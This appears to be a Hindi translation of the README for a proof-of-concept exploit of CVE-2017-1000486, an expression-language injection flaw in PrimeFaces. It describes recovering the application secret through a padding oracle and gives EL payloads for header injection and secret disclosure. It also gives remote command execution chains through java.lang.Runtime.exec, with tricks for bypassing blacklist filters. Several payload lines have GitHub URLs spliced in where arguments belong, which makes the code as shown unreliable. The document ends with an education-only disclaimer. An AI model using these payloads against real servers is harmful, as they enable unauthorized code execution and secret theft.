
CVE-2017-1000486 (PrimeFaces EL इंजेक्शन) के लिए मल्टी-स्टेप प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट जिसमें पैडिंग ऑरैकल सीक्रेट रिट्रीवल और रिमोट कोड एक्जीक्यूशन के लिए ब्लैकलिस्ट-बाइपासिंग पेलोड शामिल हैं।
यह CVE-2017-1000486 का एक PoC है जिसमें RCE प्राप्त करने के लिए उपयोग किए जाने वाले मानक फ़ंक्शनों (getClass(), exec(), आदि) पर ब्लैकलिस्टिंग लेक्सिकोग्राफ़िक जांच को बायपास करने और पैडिंग ओरेकल के माध्यम से primefaces सीक्रेट को पुनर्प्राप्त करने के लिए उपयोगी पेलोड शामिल हैं, ताकि शोषण में यथासंभव कम शोर हो।
यह PoC एक बहु-चरणीय स्क्रिप्ट है जो प्रत्येक एप्लिकेशन और उपलब्ध वेब सर्वर लाइब्रेरीज़ के संदर्भ का विश्लेषण करने के लिए उपयोगी है।
प्रारंभ में, @AonCyberLabs द्वारा लिखित padBuster perl स्क्रिप्ट का उपयोग primefaces सीक्रेट को पुनर्प्राप्त करने के लिए किया जाता है, यदि यह मैन्युअल रूप से प्रदान नहीं किया गया हो। यह बाद में पेलोड एन्क्रिप्शन पर सर्वर को किए जाने वाले अनुरोधों की संख्या को कम करने में उपयोगी हो सकता है, जिससे पूरी प्रक्रिया तेज हो जाती है। Padding Oracle भेद्यता का शोषण करने में लगने वाला समय पेलोड के आकार के सीधे आनुपातिक है, केवल पहले चरण में एक छोटे पेलोड पर इसका उपयोग करने से प्रदर्शन में काफी सुधार होता है। मैं padBuster के सभी कोड को सीधे python के साथ एकीकृत करने के लिए फिर से नहीं लिखना चाहता, इसलिए इसे चलाने के लिए OS के माध्यम से एक स्वच्छ कमांड निष्पादन किया जाता है।
EL payload:
${facesContext["getExternalContext"]()["setResponseHeader"](https://github.com/pastea/cve-2017-1000486/blob/main/%22SECRET%22%2CinitParam%5B%22primefaces.SECRET%22%5D)}
EL कोड निष्पादन की जांच करने के लिए एक सरल जांच की जाती है जिसमें एक EL है जो हेडर इंजेक्शन करता है। ध्यान दें कि इस मामले में दो विधियाँ उपलब्ध हैं: setResponseHeader और addResponseHeader, अन्य उपलब्ध विधियाँ आधिकारिक दस्तावेज़ से प्राप्त की जा सकती हैं।
EL payload:
${facesContext["getExternalContext"]()["setResponseHeader"](https://github.com/pastea/cve-2017-1000486/blob/main/%22PROVA%22%2C%22123456%22)}
फिर उपलब्ध अंतर्निहित चरों पर कई जाँचें की जाती हैं ताकि कस्टम वेब सर्वर लाइब्रेरीज़ (जैसे IBM WebLogic) के कारण होने वाली कुछ संभावित समस्याओं को उजागर किया जा सके जो सभी अंतर्निहित चर प्रदान नहीं करती हैं। इसके अलावा, Java Runtime के संस्करण को पुनर्प्राप्त किया जाता है, पेलोड के साथ यथासंभव विशिष्ट होने का प्रयास किया जाता है।
वास्तव में, मैंने देखा कि Java <=7 पर कॉल की गई विधियों पर कुछ पैरामीटर प्रकार भ्रम है। मुझे लगता है कि यह EL पार्सर द्वारा किए गए चर प्रकार असाइनमेंट के कारण हुआ। इससे बचने के लिए, स्क्रिप्ट getDeclaredMethods() ऐरे के माध्यम से विशिष्ट विधियों को संदर्भित करती है, इस मामले में प्रत्येक प्रयुक्त विधि के लिए सही इंडेक्स की पहचान की आवश्यकता होती है। यह स्पष्ट रूप से पेलोड के आकार को बढ़ाता है लेकिन बहुत अधिक लचीलापन प्रदान करता है।
बाइट ऐरे को बफर के रूप में बनाने के लिए, "".format("%0999d",0).getBytes() के माध्यम से एक कार्य-उपाय का उपयोग किया जाता है, जो 999 लंबाई का बफर बनाता है, या "0000000".getBytes() जो 7 लंबाई का बफर बनाता है।
Standard EL:
${facesContext.getExternalContext().getSession(true).putValue("stream",""["class"].forName("java.lang.Runtime").getDeclaredMethod("getRuntime").invoke(null)["exec"](https://github.com/pastea/cve-2017-1000486/blob/main/%22command%22).getInputStream())}
${facesContext.getExternalContext().getSession(true).putValue("buffer","".format("%0999d",0).getBytes())}
${facesContext.getExternalContext().addResponseHeader("N",facesContext.getExternalContext().getSession(true).getValue("stream").read(facesContext.getExternalContext().getSession(true).getValue("buffer"),"".length(),"".format("%0999d",0).length()))}
${facesContext.getExternalContext().getResponseOutputStream().write(facesContext.getExternalContext().getSession(true).getValue("buffer"),"".length(),"".format("%0999d",0).length()).flush().close()}
EL with getDeclaredMethods():
${facesContext.getExternalContext().getSession(true).putValue("runtime",facesContext.getELContext()["class"].forName("java.lang.Runtime").getDeclaredMethods()[0].invoke(null))}
${facesContext.getExternalContext().getSession(true).putValue("stream",facesContext.getELContext()["class"].forName("java.lang.Runtime").getDeclaredMethods()[0].invoke(facesContext.getExternalContext().getSession(true).getValue("runtime"),"command").getInputStream())}
${facesContext.getExternalContext().getSession(true).putValue("buffer","0000000".getBytes())}
${facesContext.getExternalContext().addResponseHeader("N",facesContext.getExternalContext().getSession(true).getValue("stream").read(facesContext.getExternalContext().getSession(true).getValue("buffer"),"".length(),"0000000".length()))}
${facesContext.getELContext()["class"].forName("org.apache.catalina.connector.CoyoteOutputStream").getDeclaredMethods()[0].invoke(facesContext.getExternalContext().getResponseOutputStream(),facesContext.getExternalContext().getSession(true).getValue("buffer"))}
${facesContext.getExternalContext().getResponseOutputStream().flush().close()}
JSF पर विधियों को ["method"]() संदर्भ के माध्यम से कॉल किया जा सकता है, न केवल मानक Java की तरह डॉट नोटेशन .method() के साथ। यह सर्वर पर डिक्रिप्शन और EL के निष्पादन के बीच बनाए गए फिल्टर को बायपास करने में मदद कर सकता है।
getClass() को ["class"] कथन से प्रतिस्थापित किया जा सकता है
facesContext.getExternalContext().getSession(true).putValue() को session.setAttribute() द्वारा प्रतिस्थापित किया जा सकता है, सामान्य दृष्टिकोण के रूप में प्रत्येक मैप का उपयोग चरों को संग्रहीत करने के लिए रिपॉजिटरी के रूप में किया जा सकता है।
यह उपकरण केवल शैक्षिक उद्देश्यों के लिए प्रदान किया जा रहा है, केवल अनुसंधान उद्देश्यों के लिए।
आप इस सॉफ़्टवेयर का उपयोग किसी भी अवैध या अनैतिक उद्देश्य के लिए नहीं कर सकते; जिसमें ऐसी गतिविधियाँ शामिल हैं जो आपराधिक या नागरिक देयता को जन्म दे सकती हैं।
अपने जोखिम पर उपयोग करें। यह सॉफ़्टवेयर कॉपीराइट धारक या योगदानकर्ताओं द्वारा "जैसा है" प्रदान किया गया है और किसी भी प्रकार की स्पष्ट या निहित वारंटी, जिसमें व्यापारिकता और किसी विशेष उद्देश्य के लिए उपयुक्तता की निहित वारंटी शामिल हैं, लेकिन इन्हीं तक सीमित नहीं, अस्वीकार की जाती है। किसी भी स्थिति में कॉपीराइट धारक या योगदानकर्ता किसी भी प्रत्यक्ष, अप्रत्यक्ष, आकस्मिक, विशेष, दृष्टांत, या परिणामी हानि के लिए उत्तरदायी नहीं होंगे।